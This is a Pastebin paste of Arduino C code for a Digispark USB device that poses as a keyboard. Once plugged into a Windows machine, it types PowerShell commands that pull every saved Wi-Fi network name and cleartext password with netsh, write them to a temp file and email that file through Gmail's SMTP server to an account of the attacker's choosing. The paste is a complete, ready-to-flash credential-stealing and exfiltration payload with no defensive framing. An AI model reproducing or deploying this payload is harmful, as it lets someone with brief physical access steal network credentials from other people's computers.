illwill

DigiStump HID Powershell WIFI Dumper to GMail

Dec 9th, 2016
219
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 2.87 KB | None | 0 0
  1. #include "DigiKeyboard.h"
  2.  
  3. void setup()
  4. {
  5. DigiKeyboard.delay(5000);
  6. DigiKeyboard.sendKeyStroke(0, MOD_GUI_LEFT);
  7. DigiKeyboard.delay(1000);
  8. DigiKeyboard.print(F("powershell"));
  9. DigiKeyboard.delay(1000);
  10. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  11. DigiKeyboard.delay(1000);
  12. DigiKeyboard.sendKeyStroke(KEY_ENTER, MOD_CONTROL_LEFT | MOD_SHIFT_LEFT);
  13. DigiKeyboard.delay(1000);
  14.  
  15. DigiKeyboard.print(F("(netsh wlan show profiles) | Select-String \"\\:(.+)$\" |"));
  16. DigiKeyboard.delay(100);
  17. DigiKeyboard.print(F("%{$name=$_.Matches.Groups[1].Value.Trim(); $_} |"));
  18. DigiKeyboard.delay(100);
  19. DigiKeyboard.print(F("%{(netsh wlan show profile name=\"$name\" key=clear)}|"));
  20. DigiKeyboard.delay(100);
  21. DigiKeyboard.print(F("Select-String \"Key Content\\W+\\:(.+)$\"|"));
  22. DigiKeyboard.delay(100);
  23. DigiKeyboard.print(F("%{$pass=$_.Matches.Groups[1].Value.Trim(); $_}|"));
  24. DigiKeyboard.delay(100);
  25. DigiKeyboard.print(F("%{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }}|Format-Table -AutoSize|Out-File -filepath $env:temp\\wifi.txt"));
  26. DigiKeyboard.delay(100);
  27. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  28. DigiKeyboard.delay(5000);
  29.  
  30. DigiKeyboard.print(F("$SMTPServer = 'smtp.gmail.com'"));
  31. DigiKeyboard.delay(250);
  32. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  33. DigiKeyboard.print(F("$SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)"));
  34. DigiKeyboard.delay(250);
  35. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  36. DigiKeyboard.print(F("$SMTPInfo.EnableSsl = $true"));
  37. DigiKeyboard.delay(250);
  38. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  39. DigiKeyboard.print(F("$SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('USER@gmail.com', 'YOURPASSWORD')"));
  40. DigiKeyboard.delay(250);
  41. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  42. DigiKeyboard.print(F("$ReportEmail = New-Object System.Net.Mail.MailMessage"));
  43. DigiKeyboard.delay(250);
  44. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  45. DigiKeyboard.print(F("$ReportEmail.From = 'USER@gmail.com'"));
  46. DigiKeyboard.delay(250);
  47. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  48. DigiKeyboard.print(F("$ReportEmail.To.Add('USER@gmail.com')"));
  49. DigiKeyboard.delay(250);
  50. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  51. DigiKeyboard.print(F("$ReportEmail.Subject = \"WIFI Passwords from $env:computername\""));
  52. DigiKeyboard.delay(250);
  53. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  54. DigiKeyboard.print(F("$ReportEmail.Body = 'Attached is your WIFI passwords.'"));
  55. DigiKeyboard.delay(250);
  56. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  57. DigiKeyboard.print(F("$file = \"$env:temp\\wifi.txt\""));
  58. DigiKeyboard.delay(250);
  59. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  60. DigiKeyboard.print(F("$ReportEmail.Attachments.Add($file)"));
  61. DigiKeyboard.delay(250);
  62. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  63. DigiKeyboard.print(F("$SMTPInfo.Send($ReportEmail)"));
  64. DigiKeyboard.delay(3000);
  65. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  66. DigiKeyboard.print(F("exit"));
  67. DigiKeyboard.delay(1000);
  68. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  69. }
  70. void loop() {}
Add Comment
Please, Sign In to add comment